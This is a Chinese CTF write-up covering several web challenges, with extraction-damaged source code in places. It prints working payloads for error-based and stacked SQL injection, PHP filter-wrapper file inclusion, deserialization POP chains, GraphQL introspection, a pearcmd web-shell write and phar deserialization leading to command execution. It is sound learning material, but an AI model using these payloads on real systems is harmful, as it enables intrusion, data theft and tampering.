如有侵权,请联系我,立即删除。
最近的这个“萌新”,赛感觉很有必要记录一下。
目录
Word-For-You(2 Gen)
第一周的时候就是一个万能密码,这是第二周有了一点的提示,当时我困在这里尝试了很多闭合的方式 ' "等等,也是报错注入用到的不是特别的多,所以每次都不能快速的用到。
1' or updatexml(1,concat(0x7e,database()),1) #
当时也是做到这里了,但是
这里有东西被挡住了,我以为是一些报错所以就没太留意,唉
这不就爆出来数据库名
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
查询到了四个数据库表,猜一下是不是wfy_admin
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_admin")),1)#
1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from wfy_admin)),1)#
说明数据库表不正确,换个表继续
最后没记错flag好像在 wfy_comments 这个表里的text下
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_comments")),1)#
最终在text字段
1' or updatexml(1,concat(0x7e,(select group_concat(text) from wfy_comments)),1)#
感觉是限制了长度,后面应该还有东西,没准flag就在最后 所以我们倒序一下
1' or updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)#
猜测正确,果然是输出长度进行了限制我们在对这个字符串进行求反操作就可
s='}sr0rre_emos_ek2m_t4uJ{galf'print(s[::-1])
IncludeOne
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){ if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){ //flag in `flag.php` include($_GET['file']);
这道题相对比较简单,就是点一下就过了,首先是随机种子会有一定的顺序
然后这里禁了base,并且正则要求命令中必须含有NewStar,
?file=php://filter/NewStar/read=string.rot13/resource=flag.php
这里Newstar没起到任何的作用,然后将flag.php中的数据进行了,rot13编码,最后解码就可
UnserializeOne
name; } public function __isset($var) { ($this->func)(); }}class Sec{ private $obj; private $var; public function __toString() { $this->obj->check($this->var); return "CTFers"; } public function __invoke() { echo file_get_contents('/flag'); }}class Easy{ public $cla; public function __call($fun, $var) { $this->cla = clone $var[0]; }}class eeee{ public $obj; public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } }}if(isset($_POST['pop'])){ unserialize($_POST['pop']);}
pop链的题目,首先我们先锁定链尾
public function __invoke()
{
echo file_get_contents('/flag');
}看到这里读取/flag,然后往上面找触发invoke
public function __isset($var)
{
($this->func)();
}
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
class Easy{
public $cla;public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
然后看到tostring , destruct
直接写出
Start::destruct-->Sec::-->toString-->Easy::call-->eeee::clone-->Start::isset-->Sec::invoke
name=$s1;$s1->obj= $E;$s1->var=$e1;$e1->obj=$S1;$S1->func=$s2;echo (serialize($S));
这里虽然有protected定义的私有变量,在php 7.1+可以换成 public,
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
这要是在这卡了我一会,this->obj 等于 call的类,然后this-var也需要在上面的类赋值,因为下面的形参有两个,this->var的类就是call触发下面的类
ezAPI
qsdz开发了一个查询网页,但是好像存在一些漏洞?
这里看了师傅的wp才知道是graphql,第一次接触
graphQL常见的是这种形式以后碰见就可以用到
一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。
内省查询的数据为
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
这样就会返回所有API端点的所有信息
array( 'method' => 'POST', 'header' => 'Content-type: application/json', 'content' => $data, 'timeout' => 10 * 60 ) ); $context = stream_context_create($options); $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context); return $result;}if(isset($id)){ if(waf($id)){ isset($_POST['data']) ? $data=$_POST['data'] : $data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}'; $res = json_decode(send($data)); if($res->data->users_user_by_pk->name !== NULL){ echo "ID: ".$id."
Name: ".$res->data->users_user_by_pk->name; }else{ echo "Can't found it!
DEBUG: "; var_dump($res->data); } }else{ die("Hacker!"); }}else{ die("No Data?");}?>
这里发现post传入的data是可控的,所以可以是内省查询的注入点
这里找到了一个flag的接口,可是怎末读它呢
看到源码给出了这一条命令,那我们进行模仿一下
$data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'
读取成功flag的接口,获得flag!
第三周
第三周web
multiSQL
第三周打开以后,感觉难了好多好多
听说火华师傅四级又挂掉了,他不好给他的英语老师交代,你能帮他改改成绩通过学校的验证嘛~
题目给了人名火华
425通过,可是加起来是424
当时我的思路,就是进行update直接更新,然后堆叠注入查出来表名
首先试出来闭合方式,只有'单引号的返回结果不一样
然后使用update发现被过滤掉了!!!
尝试了绕过方式过不去,然后就想想想如果用insert插入一条记录是不是也可以
呃呃呃,insert也被过滤了
只能百度搜索,replace into table (id,name) values('1','aa'),('2','bb')
发现这个也是插入的语句
1';replace into score values ("火华",50,200,200);)
然后命令框输入火华查询记录,
有了两条记录,这时候删除第一条不就可以了吗
1';delete from score where listen=11;
点击上面获得flag
IncludeTwo
最近一直遇到这样的题,可是一般的通过base64加密就可以绕过了,可是这道题不行呀、
这道题最后放出了提示pear到getshell
没见过,那就了解一下
include $_GET['f'].php)这个是pear的标志模板
简单来说就是利用这个文件中的pear命令行,其中有个可利用参数config-create
,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
然后配置信息的registerargcargv必须是开启的状态
$_SERVER['argv']#是通过+作为分隔符的
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/=eval($_POST[1])?>+/tmp/hello.php
直接解释代码了,这里的file=后面的路径,是pearcmd的默认路径,因为include 后面有个.php,所以/usr/local/lib/php/pearcmd.php,去掉了php ,前后就是固定的格式
然后最好再burp更改,在浏览器更改<>会自动解码可能导致运行不成功
最后获得flag
参考文章:
register_argc_argv与include to RCE的巧妙组合 - Longlone's Bloghttps://www.cnblogs.com/iwantflag/p/15602747.html这篇博客写的。具体原理就是利用pearcmd.php来实现文件包含
week 4
So Baby RCE
|`|\/| |\\\\|\*/i',$_GET["cmd"])){ echo "Don't Hack Me"; }else{ system($_GET["cmd"]); }}else{ show_source(__FILE__);}
打开界面好家伙,所以的读取命令,同或异或都没了,这我咋玩
说明肯定有一个特殊的点,
直接用
?cmd=cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..%26%26${IFS}cd${IFS}..%26%26rev${IFS}fff?llllaaaaggggg
cd .. && cd .. 往上一句读取目录,ls
用rev倒序读取,sort可以正序读取,获得flag
UnserializeThree
题目提示,rce 上传文件 反序列化 三重碰撞结合
其实看到前两者,很容易想到phar上传文件,所以我们现在的重点是,找到另外一个文件含有pop链的
常规手段:看源码 F12 扫目录
直接访问,
|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){ //Same point ,can you bypass me again? eval("#".$this->cmd); }else{ echo "No!"; } }}file_exists($_GET['file']);
eval("#".$this->cmd); 构造链很好构造,现在的难点是如何绕过#把它给注释了,不能影响后面的内容,用filter伪协议rot13,不知道flag的文件名果断排除
以前都是运用闭合php绕过,但是这道题明显禁用了,可是也给出了一个提示
urldecode("0a") 和它差不多一样的还有一个urldecode("0d")回车,试了一下也是可以的
cmd=urldecode("%0d")."system('cat f*');";$phar = new Phar('ee.phar');$phar->startBuffering();$phar->setStub('GIF89a'.'');$phar->setMetadata($a);$phar->addFromString('test.txt', 'test');$phar->stopBuffering();?>
然后上传就可以了。
来源地址:https://blog.csdn.net/qq_62046696/article/details/127154063